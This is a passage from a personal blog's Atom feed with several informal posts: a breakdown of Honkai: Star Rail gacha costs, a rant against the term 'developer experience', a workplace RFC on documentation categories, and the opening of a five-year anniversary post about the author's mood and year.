<li>The cloud sucks big ween. AWS especially.</li>
<li>Rust is the best language and should be used for everything.</li>
<li>This post talks about Bash script infrastructure but mostly only shows Python scripts (really makes you think, huh?)</li>
<li>I own the domain <code class="prettyprint">waifu.church</code>.</li>
<li>Computers are plants.</li>
</ol>
<p>And finally, but most importantly;</p>
<ol start="5">
<li>There are too many Fr*nch people 🤮 in Paris, I give the city a 2/10 (at least the baguettes were good).</li>
</ol>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Mommy Kafka Gave Me A Gambling Addiction]]></title>
        <id>https://justin.duch.me/post/hsr_gacha</id>
        <link href="https://justin.duch.me/post/hsr_gacha"/>
        <updated>2023-08-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<blockquote>
  <p>Better to have, and not need, than to need, and not have.</p>
  <ul>
  <li>Franz Kafka</li>
  </ul>
</blockquote>
<p><strong>Non-clickbait title:</strong> Looking At Honkai: Star Rail's Gacha Mechanics.</p>
<p>I've probably spent around $400 AUD on a slot machine to collect hot anime waifus/husbandos in Honkai: Star Rail (HSR) since it's release in April of this year.</p>
<p>Do I regret this? No, I've spent more than that on <a href="/post/cool_font">worse things.</a><span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>To expand on this, I at least get enjoyment from playing HSR, whereas this font almost objectively makes this website worse by bloating it with unnecessary cruft.</span></aside>
<p>Before HSR, I genuinely could not see the appeal in gambling (I actually still don't, but we'll get to that), and while some <a href="https://en.wikipedia.org/wiki/Gacha_game">gacha</a> games looked a little interesting to me, the what looked like gambling to me - gacha mechanics was an instant turn off.</p>
<p>So what made me start playing HSR?</p>
<p><img src="/img/kafka1.png" alt="Kafka <3" /></p>
<p>Her.</p>
<p>Her name's Kafka.</p>
<p>She's my mum now.</p>
<p>So anyway, after being hooked in by my new mum, as it turns out, the game is actually pretty fun.</p>
<p>It's an enjoyable space comedy<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> game with kinda shallow JRPG turn based combat. The characters are all entertaining and pretty likeable, but I guess that's what you need if you want people to pull our their credit cards. Special highlight on their English dubs, all the EN voice actors and their performances are honestly great (especially Kafka), I never had any urge to switch dubs.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>The game is honestly pretty funny, it's written very well.</span></aside>
<p>But we're not here to talk about that, we're here to talk about gambling.</p>
<p><img src="/img/kafka2.png" alt="Kafka with bladie and wolfie and sam i think" /></p>
<p>I linked a Wikipedia page to gacha games when I last mentioned it in this post, but since you most certainly didn't read it, I'll explain it for you myself.</p>
<p>"Gacha" is a term derived from Japanese capsule-toy vending machines where you insert coins and receive a random toy in return. In the context of video games, "gacha" refers to a mechanic that involves players spending either in-game currency or real money to receive a random reward.</p>
<p>The primary characteristic of a gacha game is the random chance to obtain characters, items, or other rewards. Just like capsule-toy machines, you don't know what you'll get until you "pull" or "roll."</p>
<p>This inherently makes gacha games pay-to-win since some characters and items are just better than others, but HSR isn't PvP so it doesn't really matter (I have no idea why people play PvP gachas, seems like a horrible idea to me).</p>
<p>On that, let's look back at HSR. You can pull for characters or "light cones". I'm going to ignore light cones because I don't pull for them, so we'll only be looking at characters.</p>
<h2 id="interlude">Interlude</h2>
<p>Ok, I wrote what's above like 10 minutes ago and I've just been staring at this document, not knowing what to write ever since. This is more complicated to explain than I thought it would be, if you're unfamiliar with gacha - get ready for a ride.</p>
<p><img src="/img/kafka3.png" alt="Kafka asking what you think of her" /></p>
<hr />
<p>You can pull (called "warps" in HSR) for characters on two "banners" or "events":</p>
<ul>
<li>The standard permanent warp event, which you use "Star Rail Passes" for.</li>
<li>The limited-time availability character warp event, which you use "Star Rail Special Passes" for. These run for a limited time (normally 20 days) but give boosted rates on the specified characters in the banner. Here's the banner for Kafka, which started over a week ago.</li>
</ul>
<p><img src="/img/kafka5.png" alt="Kafka banner" /></p>
<p>I'll only be talking about the character event warp to simplify things, because that's the one you normally pull for and you can just apply the same concepts to the standard warp by ignoring boosted character rates.</p>
<p>So one pull is one "Star Rail Special Pass", which you can sometimes get in-game (rarely), but the easiest way is to purchase them with 160 "Stellar Jades".</p>
<p>You can also get jades in-game, but that takes a while to accumulate, so you can purchase "Oneric Shards" with real world money from the store to then convert into jades (these are a 1 to 1 conversion).</p>
<p>So how much do shards cost? Well… it's complicated.</p>
<p>You can only buy a set number of shards and they don't scale linearly with cost. So 60 shards is $1.99 (30 shards per dollar), but 300 shards is $7.99 (37 shards per dollar). The most you can buy is 6480 shards for $149.99 (43 shards per dollar).</p>
<p>BUT WAIT, that's still not including the bonus top ups.</p>
<p>For your first purchase on each set of shards you get double the amount, with the bonus halving each purchase.</p>
<p>So the first time you spend $1.99, you get 120 shards (60 bonus + 60 for 60 shards per dollar), then 90 (30 bonus + 60 for 45 shards per dollar) the next time, then 75 (15 bonus + 60 for 38 shards per dollar).</p>
<p>This is a pretty standard method used in the gaming industry to obfuscate how much money your actually spending and make it harder to determine how much things actually cost. Fortnite is another popular game that employs similar "store mechanics".</p>
<p>But Fortnite doesn't have gambling.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span></p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I think? Haven't looked at it in a while, but I'm pretty sure the rotating store isn't gambling, just a predatory FOMO machine.</span></aside>
<p>Ok, let's go into the drop rates for each pull. In HSR you can either get 4-star or 5-star characters, with the latter being rarer and stronger in-game.</p>
<p>The base rate for a 4-star character is 5.1%<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> this increases to 13% for characters on the banner.</p>
<p>The base rate for a 5-star character is 0.6% this increases to 1.6% for the character on the banner (there's only one five-star on the banner along with three 4-star characters).</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>These numbers are given to you by the game... because of gambling regulations.</span></aside>
<p>These are incredibly low odds. To counteract this, there's the "pity" system.</p>
<p>Within 10 pulls, at least one 4-star or above character is guaranteed. The chance of a 4-star is 99.44% and the chance of a 5-star is 0.6%.</p>
<p>Within 90 pulls, at least one 5-star is guaranteed.</p>
<p>On the character event banner, the first time you pull a 5-star there is a 50% chance that 5-star will be the promotional character (Kafka in our case). If you lose the 50/50 (don't get Kafka), the next 5-star is guaranteed to be the promotional character.</p>
<p><img src="/img/kafka4.jpg" alt="Kafka boom" /></p>
<p>Alright, I think that's all.</p>
<p>To be clear, it is possible to play the game without spending any money, you won't be getting as many 5-stars because you won't be able to get the rail passes and jades needed to reach pity before a limited banner ends, meaning you'll have to skip a few, but it is possible.</p>
<p>Either way, the game (and genre as a whole) is still incredibly predatory. But I think even with the gambling, the fact that I'm guaranteed to get what I want (eventually) is what is letting my conscious continue to play it and spend money on it.</p>
<p>I am not a big risk taker, and the idea of losing money - even for the chance of gaining more, is just not a thing that appeals to me.</p>
<p>I think the fact that I know I'm never going to see that money back ever again helps. I'm a lot more careless with my money when it comes to entertainment<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span> than monetary investments (not that this is a good thing).</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>See my Steam library with over 1500 games and a less than 40% have-played rate.</span></aside>
<p>With each character I want in HSR, I approach it by just planning for the worst case scenario every time, and determining if my money is worth that.</p>
<p>The promotional 5-star is guaranteed every 90 pulls if I win the 50/50 otherwise the 5-star is guaranteed in 180 pulls. So I just assume it takes 180 pulls to get a 5-star.</p>
<p>Ignoring any jades I've gotten from playing the game, 6480 jades (converted from shards) cost $150 for 43 jades per dollar (ignoring the bonus top ups because those will go away eventually).</p>
<p>Each pull is 160 jades, so a 5-star costs 28,800 jades which is $670.</p>
<p>So, a 5-star costs $670? No, obviously that is WAY too much and actually pretty unfair on the game to say. I have eight 5-stars from pulls and I only spent $400.</p>
<p>You do actually get a lot of currency in-game to supplement spending real money,<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> so I'd half that number to each 5-star costing $335 in the worst case.</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>Depending on how long you wait between each banner. So far I've only been skipping every other banner but since I got Kafka, I'm not really interested in any other characters, so I'll probably be skipping more in the future.</span></aside>
<p>So here's the question we've all been waiting for. Is Kafka worth $335?</p>
<p><img src="/img/kafka6.jpg" alt="Kafka ehehehehe" /></p>
<p>Yes.</p>
<h2 id="epilogue">Epilogue</h2>
<p>I also want to mention how these games are absolute cash cows. I'm honestly probably only a slightly-above average spender on the game. I skip banners. I don't pull for light cones. I do my dailies.</p>
<p>There's a common term for a very small proportion of players who spend an unusually large amount of money on gacha pulls, essentially subsidising the game for other players who spend smaller amounts of money, or the free-to-play players that spend no money at all. They're often colloquially referred to as "whales".</p>
<p>These are people who spend thousands on the game, and honestly probably actually do have a gambling addition. But by many estimates normally make up around 80-90% of the game's revenue.</p>
<p>Now look at this <a href="https://www.reddit.com/r/HonkaiStarRail/comments/15p650n/honkai_star_rail_revenue_in_july/">Reddit post</a> that shows that HSR made $220,817,800 USD last July in China.</p>
<p>A SINGLE MONTH. IN JUST CHINA.</p>
<p>WHAT THE FUCK.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[DX Considered Harmful]]></title>
        <id>https://justin.duch.me/post/dx_bad</id>
        <link href="https://justin.duch.me/post/dx_bad"/>
        <updated>2023-07-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I don't like the term DX (or Developer Experience or DevEx).</p>
<p>That means you should stop using it.</p>
<p>And you should listen to me because I am words on the Internet, and the Internet is never wrong.</p>
<p>Let me explain.</p>
<p>Here's what DX is according to the champions of open-source who don't even open-source their own platform, destroyed the distributed nature of Git for the vast majority of projects, and then laundered the GPL-ed code they host to ingest it into their stochastic parrots that are really only good for writing unit tests (that still need a lot of editing afterwards).</p>
<blockquote>
  <p>DevEx refers to the systems, technology, process, and culture that influence the effectiveness of software development. It looks at all components of a developer’s ecosystem—from environment to workflows to tools—and asks how they are contributing to developer productivity, satisfaction, and operational impact.</p>
  <ul>
  <li><a href="https://github.blog/2023-06-08-developer-experience-what-is-it-and-why-should-you-care/">GitHub Engineering - Developer experience: What is it and why should you care?</a></li>
  </ul>
</blockquote>
<p>This is stupid.</p>
<p>There's fundamentally no difference between DX and UX.</p>
<p>We are also users of our tools. Like our users, we want a seamless, intuitive, efficient, and satisfactory interaction with the systems we use. The factors that contribute to a positive experience are similar for everyone: a well-designed interface, reliable performance, and a set of useful features.</p>
<p>Here's another quote from our overlords who gamify programming with bullshit, meaningless achievements and activity maps to foster a culture that spams maintainers with bullshit PRs for single letter "typos".</p>
<blockquote>
  <p>“DevEx puts developers at the center and works to understand how they feel and think about the work that they do,” says Eirini Kalliamvakou, staff researcher at GitHub. Developer sentiment can uncover points of friction and provide the opportunity to find appropriate fixes.</p>
</blockquote>
<p>THIS IS JUST UX. THIS IS WHAT YOU DO WHEN YOU DO UX.</p>
<p>Distinguishing between DX and UX is redundant, I see no reason to consider us "special" and have a need to distinguish us from our users.</p>
<p>The tools we use are products just as much as the things that we use them to make are.</p>
<p>"Differentiating" between DX and UX can also create this false dichotomy that makes people believe the two concepts are mututally exclusive - as if enhancing one would necessarily degrade the other, or that it's okay for one to be degraded if the other is enhanced.</p>
<p>You see this ALL the time in JS land.</p>
<p>JS devs are always making "trade-offs", especially against performance. Just look at every Electron app ever made. Just look at the entire concept around "serverless".</p>
<p>And holy shit don't even get me started on "clean code".<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span></p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>Like has anyone noticed the book is actually kinda garbage? Even if we give into the delusion that "clean code" (as the creepy weirdo Uncle Bob describes it as) exists, and is a thing that should always be done, the examples are just... bad.</span></aside>
<p>Yeah, go ahead and write some code that executes hundreds of thousands more instructions than it needs to, because having more useless abstractions is "cleaner", even though you're going to re-write this anyway because YOUR ABSTRACTION IS ALWAYS WRONG THE FIRST TIME, AND SINCE YOU JUST COOKED UP A BUNCH OF SPAGHETTI YOU THOUGHT WAS "CLEANER", IT'S GOING TO TAKE EVEN LONGER TO CHANGE.</p>
<p>Ultimately, I think the confusion comes from a misunderstanding of what UX is, and so even with how people separate it into UI/UX, they still conflate UI with UX.</p>
<p>They see a flashy GUI web-app and say "that's nice UI/UX", but they don't say that to the tools they use, the simple, performant, well-documented command line program, with consistent and clear behaviour.</p>
<p>That's because the latter is "just a tool", and tools aren't supposed to be nice or have UX, they're supposed to be utilitarian. This is such a bizarre, nonsensical dichotomy. A well-designed tool is one that can be used intuitively and efficiently, and that's good UX.</p>
<p>We're not a special class of users that need a different term for our experience with the tools we use. We are just as much users as our customers, clients, or audience. The experiences we have with our tools affect the work we do and the products we create, and they should be considered under the same umbrella as user experience - because they are user experiences.</p>
<p>And so maybe acknowledging that we are the same as our users will give us the empathy to see that a 100 MB website that loads into another loading screen for garbage that had no reason to use React or it any of it's meta-framework (because our frameworks need their own frameworks now) IS NOT OKAY AND WE SHOULD STOP THINKING IT'S OKAY.<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Ok but seriously, why is everyone seemingly fine with how slow everything has gotten? Hardware performance has 10x-ed in the last decade AND YET EVERYTHING IS STILL AS SLOW AS IT WAS THEN, MAYBE EVEN SLOWER??!?!?! WHY IS EVERYONE OK WITH THIS?!?!?!? HELLO?!?!?!</span></aside>
<p>In conclusion, stop using Electron and write more stuff in Rust.</p>
<p>Also, get off GitHub.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Canonising The Apocrypha Of [COMPANY NAME] Engineering]]></title>
        <id>https://justin.duch.me/post/canonising_engineering_apocrypha</id>
        <link href="https://justin.duch.me/post/canonising_engineering_apocrypha"/>
        <updated>2023-03-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>This is another repost of an RFC I wrote for work. The same "rules" from <a href="/post/meta_rfc">last time</a> to protect "company property" apply here as well, with some new ones added.</p>
<ul>
<li>Links to company documents have been replaced with fun videos.</li>
<li>Some examples of documentation have been removed.</li>
</ul>
<p>To "protect" my privacy, I have also redacted references to [COMPANY NAME], although it shouldn't be that hard to figure what it is supposed to be with a little digging into my public profile, so I don't really know why I bothered.</p>
<p>A normal post should be coming in a month (or longer) if you were looking forward to that… for some reason.</p>
<hr />
<h1 id="summary">Summary</h1>
<p>This is an RFC for the implementation of a documentation system in engineering.</p>
<h1 id="motivation">Motivation</h1>
<p>Documentation in [COMPANY NAME] is lacking, possibly in no small part due to our structure in writing it. The current process does not give any guidance on the purpose, structure, and audience of the document the author is writing for, making it harder to write.</p>
<p>User intuition is not reliable enough when it comes to learning software. Complex systems have a wide range of applications. This leaves considerable room for human error. Having clear, easy-to-understand documentation will mean fewer problems to solve and less firefighting.</p>
<h1 id="generalreference">General reference</h1>
<p>Documentation is context specific and depends on what your audience is looking to get out of it. Docs should be though of in terms of desired goals and outcomes: learning-oriented, problem-oriented, etc. From my experience, I go to documentation to try to find an answer to one of these three questions:</p>
<ul>
<li><strong>How</strong> do I X?</li>
<li><strong>What</strong> is X supposed to do?</li>
<li><strong>Why</strong> is X doing Y?</li>
</ul>
<p>Each category of question follows a distinct user journey, and our documentation should be divided along these lines.</p>
<h3 id="howtoshowdoix">How-Tos (How do I X?)</h3>
<p>These focus on achieving a specific outcome, be it how to run a migration in AWS DMS or add a new profile scraper. They are for when you aren’t interested in the specifics and just need to get something done. Learning how to do something before learning how it works is easier to understand.</p>
<p>Ideally, there should be an end goal to reach - to complete the exercise, and should allow your reader to get hands on with the how-to while reading instead of after. To help readers achieve this, how-tos should be clear, accessible and with a single focus.</p>
<h3 id="overviewswhatisxsupposedtodo">Overviews <strong>(What is X supposed to do?)</strong></h3>
<p>These explain how the feature/code works, gives background and provides context. This type of documentation is for those who want to take a closer peek under the hood. They want to make connections across the software and understand the nuts and bolts. Information here is theoretical, rather than practical or descriptive.</p>
<p>It’s documentation that approaches a topic from a higher perspective, and from different angles. The main goal should be comprehensiveness. The reader ought to come away from a read feeling very comfortable with the topic in question. They should feel that they know the vast majority of the possible options, and more importantly they should understand how all the concepts fit together.</p>
<h3 id="referenceswhyisxdoingy">References (Why is X doing Y?)</h3>
<p>A complete reference for all the APIs your code provides, or a very detailed outline about how a particular thing works. These should be designed for those who already know <em>how</em> to use some API, but need to look up the exact arguments some function takes, or how a particular setting influences behaviour, etc.</p>
<p>It’s important to point out that reference material is not in any way a substitute for good how-tos/overviews! Great reference material in the <code class="prettyprint">intercom</code> service does readers no good whatsoever if they don’t know the <code class="prettyprint">intercom</code> service even exists.</p>
<hr />
<p>It was actually quite hard to find a good example for each category from our existing library of documentation. We need to be a lot stricter on the quality of documentation, because a lot of them - not trying to be rude here, but - they’re just not very good.</p>
<h3 id="guidingprinciplesforwriting">Guiding principles for writing</h3>
<p>Once you know for what purpose and for whom the documentation you are authoring is for, here are some best practices to keep in mind:</p>
<ul>
<li><p>Use a clear structure with an outline.</p></li>
<li><p>Use diagrams and illustrations to support your points. And don't forget to caption these.</p></li>
<li><p>Ensure the information is up-to-date, complete and correct. Remember, accuracy is critical.</p></li>
<li><p>Don't be lazy. Show respect for the people taking the time to read your work and put in the effort (grammar, structure, quality of examples, etc).</p></li>
<li><p>Consider writing the documentation, specifically the overview, while or before implementing features instead of after. This can help even with writing the code, as it can give you a clearer picture of what you’re implementing.</p>
<ul>
<li>Taken from <a href="https://about.gitlab.com/handbook/handbook-usage/#why-handbook-first">GitLab’s handbook usage approach:</a></li></ul>
<blockquote>
  <p>Documenting in the handbook before taking an action may require more time initially because you have to think about where to make the change, integrate it with the existing content, and then possibly add to or refactor the handbook to have a proper foundation. But, it saves time in the long run, and this communication is essential to our ability to continue scaling and adapting our organization.</p>
</blockquote></li>
<li><p>Have someone proofread, or edit for you.</p></li>
<li><p>The best way to get better at writing is to write. The second best way to is read some else’s writing and copy them (this coincidentaly also involves writing).</p>
<ul>
<li>It’s pretty easy to spot the influence <a href="https://mickens.seas.harvard.edu/wisdom-james-mickens">James Mickens</a> has had on me. Specifically, the 2013 masterpiece “<a href="https://scholar.harvard.edu/files/mickens/files/thenightwatch.pdf">The Night Watch</a>.”</li></ul></li>
</ul>
<h1 id="devilsadvocate">Devil’s advocate</h1>
<p>I don’t really want to play devil’s advocate against writing documentation, but to be fair, sometimes just figuring it out as you go is more fun :3 Really gives you that sense of pride and accomplishment.</p>
<h1 id="rationaleandalternatives">Rationale and alternatives</h1>
<blockquote>
  <p>Nearly everyone understands this. Nearly everyone knows that they need good documentation, and most people try to create good documentation. And most people fail.</p>
</blockquote>
<p>As mentioned before, the idea with this approach is to categorise documentation by goals and outcomes, and to adopt a systematic approach to understanding the needs of documentation readers in their cycle of interaction with what is being documented.</p>
<p>This approach is light-weight, easy to understand and straightforward to apply. It doesn’t impose implementation constraints, and authors should be free to write documentation in the way they feel best gets the reader to their desired goal/outcome.</p>
<p>It also makes it more obvious on what docs are missing. If there was just a page called “profile scrapers”, I wouldn’t know what that covered - if it told me how to add one, or how they worked - and if this page didn’t have one of those, is it missing, or just somewhere else? Whereas if it were divided by outcome and there was only a page in overviews called “Profile scrapers architecture”, I would know what that’s about and could see that “How to add profile scrapers” is missing in how-to.</p>
<p>I’ve seen other approaches that are more structured, with a taller and stricter hierarchy of categories. I don’t believe this is the correct fit for us (or anyone tbh) because it lessens discoverability of documentation, compared to how a flatter structure can better utilise Notion’s database searching and filtering capabilities to enhance discoverability while still not overloading the reader with pages and keeping the “neatness” of a nested structure.</p>
<p>Having to navigate through several pages (especially on a website as slow as Notion) is also annoying (yes, most libraries/handbooks have a search, but sometimes I don’t know what I’m searching for). Reducing friction is important in this case of UX (or maybe it’s DX here?) so that people will actually want to read the documentation and won’t be off-put by having to put in any amount of effort. Some people already think documentation is boring<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span>, don’t make it any worse.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>They’re wrong, but some people think pineapple doesn’t belong on pizza (HINT: IT SHOULD BE THE ONLY PIZZA TOPPING), so maybe it should be expected at this point</span></aside>
<p>If I’m casually browsing the documentation library, as I often do, and see a page called <a href="https://youtu.be/5b08UQ9W2X4">Data model</a>, I’m going to be like “oh that seems neat and kinda important, I’ll go check it out.” But then when it turns out you have to download some attachment and open it in another web app, I’m going to be like “nah cba, maybe next time.”</p>
<p>This is bad, because who knows, maybe “Data model” is the most important document I could have ever read. Maybe my life will be forever incomplete without the wonders it holds. Maybe it would’ve provided me with the knowledge of eldritch horrors beyond my understanding, but then right after also provide me with the knowledge to understand said eldritch horrors to ensure I don’t go insane.</p>
<p>IF ONLY “DATA MODEL” WAS STRUCTURED IN SOME WAY THAT DIDN’T TRIGGER MY LAZY SLOTH-LIKE OTHER SELF THAT HATES ALL FORMS OF EFFORT.</p>
<p>NOW I’LL NEVER MEET THE GREAT TENTACLE MONSTER FROM THE SKY BECAUSE I HAD TO CLICK MORE THAN 2 TIMES TO SEE A DIAGRAM ABOUT WHAT I’M ASSUMING (BECAUSE I DIDN’T LOOK AT IT) FROM THE TITLE AND THE CONTEXT IN WHICH THIS PAGE HAS BEEN PLACED IN, IS A DATA MODEL OF OUR DATABASE.</p>
<h1 id="priorart">Prior art</h1>
<p>This entire RFC basically takes ideas from <a href="https://diataxis.fr/">Diataxis</a> née <a href="https://documentation.divio.com/">Divio's Documentation System</a>, which is generally considered the cardinal rules of technical writing (source: <del>Hacker News</del> just trust me bro). Most, if not all professional technical writers divide their documentation into content types along those lines.</p>
<p>Diataxis puts documentation in 4 categories instead of the 3 I wrote about here. I removed the 4th (tutorials) because, in a purely engineering context, I couldn’t find enough of a difference between tutorials and how-tos, and so I merged them together (though I am open to having 4 if people really want it).</p>
<p>Although I feel I’ve mentioned all the important parts, I would encourage you to read through Diataxis to get a better understanding of this approach beyond the brief summary here.</p>
<p>Others I <del>stole from</del> was inspired by include:</p>
<ul>
<li>Jacob Kaplan-Moss (Co-creator of Django) “<a href="https://jacobian.org/2009/nov/10/what-to-write/">Writing Great Documentation: What to write</a>” (2009) - also divides docs into 3 categories that are pretty much the same as mine.</li>
<li>Federal Information Processing Standards Publication “<a href="https://nvlpubs.nist.gov/nistpubs/Legacy/FIPS/fipspub105.pdf">Guideline for Software Documentation Management</a>” (1986) - didn’t really use this, but was interesting to read.</li>
</ul>
<h3 id="obligatoryrustevangelismfromarustcultmember">Obligatory Rust evangelism from a Rust cult member</h3>
<blockquote>
  <p>Please allow me this opportunity to tell you about the good word of the Rust programming language.</p>
  <p>PLEASE, I have to do this - if I don’t shill Rust at EVERY opportunity, much like how the Duolingo owl murders people who forget to do their daily Spanish - Ferris the crab will BREAK into my apartment and SNAP all my LIMBS in HALF with their MUSCULAR CRAB CLAWS (we’re a much kinder and compassionate community here at the Rust cult, so no one dies).</p>
</blockquote>
<p>Even the worst documented Rust projects like <a href="https://docs.rs/roux/2.2.1/roux/">https://docs.rs/roux/2.2.1/roux/</a> (don’t mind me, just “shilling” my own library) have decent docs compared to other languages because it can generate docs all from doc strings in code.</p>
<p>Notice how an API reference is automatically generated at the bottom.</p>
<p>There is also a compiler option to make compilation fail if a public method/struct/etc. doesn’t have a doc string.</p>
<p>Writing code examples in your docs are also extra helpful in Rust because you can actually run them as unit tests.</p>
<p>On a standard qwerty keyboard, 'rust' is offset by exactly one key-width left from 'tidy'. 🤔</p>
<h1 id="openquestions">Open questions</h1>
<ul>
<li>I think having a glossary like: <a href="https://glossary.infil.net/index.html">https://glossary.infil.net/index.html</a> would also be useful for engineers to be able to look up AWS services/political terminology/GCX engineering terms.<ul>
<li>Definitely not suggesting this because I still don’t know what MP stands for…</li></ul></li>
<li>I’m assuming the categories would be their own Notion database, but am a little undecided if that’s right for the reference docs, and if they should be in doc strings in code instead (LIKE RUST!!).<ul>
<li>This would make it closer to the code, which is probably where you already are if looking at reference documentation. And it might make updating it easier after a code change.</li>
<li>It makes LSP better. Neovim (I’m assuming the lesser “IDEs” do this as well) displays the doc strings of everything in the autocomplete menu, which is pretty helpful most of the time.</li>
<li>But it “spreads” the docs out, which is something I want to avoid. Docs should be as centralised as possible to make discovery easier. It would be easier to find method references if there wasn’t a bunch of code to skip through as well.</li>
<li>It’s also possible we could have reference docs for things that aren’t code, or isn’t code that we wrote. In which case, reference docs would be in two different places, which feels yuck to me. Although, having reference docs for our code - in our code, and reference docs for everything else in Notion is probably an acceptable division if we were forced to have one.</li>
<li>Having something that could publish the doc strings to Notion would be an ideal middle ground (KINDA LIKE HOW RUST PUBLISHES THE DOCS TO DOCS.RS).</li></ul></li>
<li>Should we use a style guide for writing? It could help with making everything consistent, but would add more friction for writing?<ul>
<li>Most likely would use something like <a href="https://apastyle.apa.org/">APA</a>.</li>
<li>Or make our own simple one that is easier to learn.</li></ul></li>
<li>A system to ensure docs are up to date would be good, but I can’t think of anything that wouldn’t be annoying and useless most of the time.</li>
</ul>
<h1 id="futurepossibilities">Future possibilities</h1>
<p>How can future be real if our eyes aren’t real?</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sometimes To Face The Difficulty Of Being Alive, I Consider The Possibility That Things Might Actually Get Better And I'm Not Actually Complete Human Garbage That Deserves To Die Destitute On The Dirty, Downtown Drags Of A Dystopian Megacity]]></title>
        <id>https://justin.duch.me/post/year_five</id>
        <link href="https://justin.duch.me/post/year_five"/>
        <updated>2023-01-22T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<blockquote>
  <p>Hei, I'm back.</p>
  <p>I know I haven't posted anything in 3 months, you don't need to remind me.</p>
  <p>I don't feel like I need to give an explanation to you.</p>
  <p>You never respond to me.</p>
  <p>I have to carry every conversation on this blog.</p>
  <p>You don't contribute anything.</p>
  <p>This relationship is very one-sided, let's be honest here.</p>
  <p>It doesn't really matter now anyway.</p>
  <p>I'm going to give an explanation.</p>
  <p>BUT NOT BECAUSE YOU DESERVE ONE, MIND YOU.</p>
</blockquote>
<p>The idea well in my big bean has gone dry. Probably because of climate change.</p>
<p>It's just that my standards for what constitutes a post I want to publish have grown much higher since I first started doing this. There's a couple posts that have either been scrapped entirely, or put in the "needs more researching" box.</p>
<p>I also have a few big projects for this blog that I would love to work on, but they all require a decent time commitment to build and then write about. A time commitment that I can't/don't want to afford right now, so posts might be pretty rare for the foreseeable future.</p>
<p>But I'll always make time for my precious anniversary posts!</p>
<p>So here we are at 5 years, 117 posts, and over 150,000 words amounting to ~9.3 hours of read-time at 270 words per minute.</p>
<p>Normally how it would go with these is that I would write up about my feelings, which unfortunately is normally some real sad shit about depression or something, I would really just pour all the darkness of my mind into a Markdown file, bathe it in a real pool of sadness, then after it's posted someone who knows me personally and occasionally reads this blog will become very concerned about my well-being, and then reach out asking if I'm okay, and then I'll be like "yeah, I'm fine, was just getting stuff off my chest," and then they're like "ok nws I'm here if you need me," and I'll go like "haha yeah thanks mate," but then I'll start wondering if I'm actually okay and if this is actually my social anxiety once again refusing to allow me to ask for help because I'm actually NOT OKAY AT ALL, AND EVERYTHING IS FALLING APART, I'M A BALL OF DESPAIR AND I'LL NEVER BE HAPPY AND IT'S ALL MY FAULT BECAUSE I'M WEAK AND STUPID AND GAY.</p>
<p>I was thinking of doing something different for this post. Kind of because it's the 5th anniversary, and I feel like that would call for it. But mostly because, like this blog in general, I've run out sad things to write about.</p>
<p>I've kind of… covered most of the material, so I don't have anything new to say. At least for now. Maybe next year I will have more things.</p>
<p>Actually, I should probably hope I don't, that wouldn't be good for me. I'd prefer to not have more problems in my life thank you very much.</p>
<p>Instead, let's talk about positive things! That's what this post is going to be! Happy thoughts! But like, actually for real this time. I won't be doing a repeat of last year.</p>
<p>I've never really done this before, because to be honest, it makes me feel uncomfortable.<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> So, let's start with something easy. Here's a list of every notable good thing that's happened to me this year.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>That's depression for you!</span></aside>
<ul>
<li>I bought an apartment and am living in it.</li>
</ul>
<p>Yep, I'm officially a home owner in Sydney, one of the highest cost of living cities in the world!  Lucky me! And I bought it right before the housing market started to fall/crash too!</p>
<p>I shouldn't complain, it's still an achievement that probably puts me 10 years ahead of the average Australian my age. I'm much closer to the city now (only a 15 min walk to Central Station), and I'm pretty happy with the place. It's also cheaper than renting. Somehow. Like hot damn the rental market is fucked in this city.</p>
<p>It's also really cool finally being able to drill holes in your wall. I love using drills, definitely in the top 5 power tools for me.</p>
<ul>
<li>5 years of blog posts means 5 years of work experience and 5 years since leaving high-school and becoming an "adult."</li>
</ul>
<p>Somehow, crippling social anxiety hasn't completely ruined my life like I thought it would as a teenager.</p>
<ul>
<li>Kalle Rovanperä won the WRC drivers title.</li>
</ul>
<p>I honestly still can't believe it, and am honestly really happy about this (read the end of last years' anniversary post for context). I just think it's cool seeing someone my age win at at a sport the generally favours people with decades of experience over young/newcomers.</p>
<p>Also I think he's cute.</p>
<p>Anyway, what else is there?</p>
<p>Hmm, so that was everything I could remember. Uhhh, that's not that much. I'm sure there's been more, but it's <a href="/post/memory_depression">hard for me to recall positive experiences</a> unless the memory is directly provoked by something (as in, I'm directly reminded of it).</p>
<p>Instead, another thing I could do is talk about my favourite posts I've made over the past 5 years. Like a celebration of the growth of this blog or something. If anything it will be interesting to see what's changed over the years.</p>
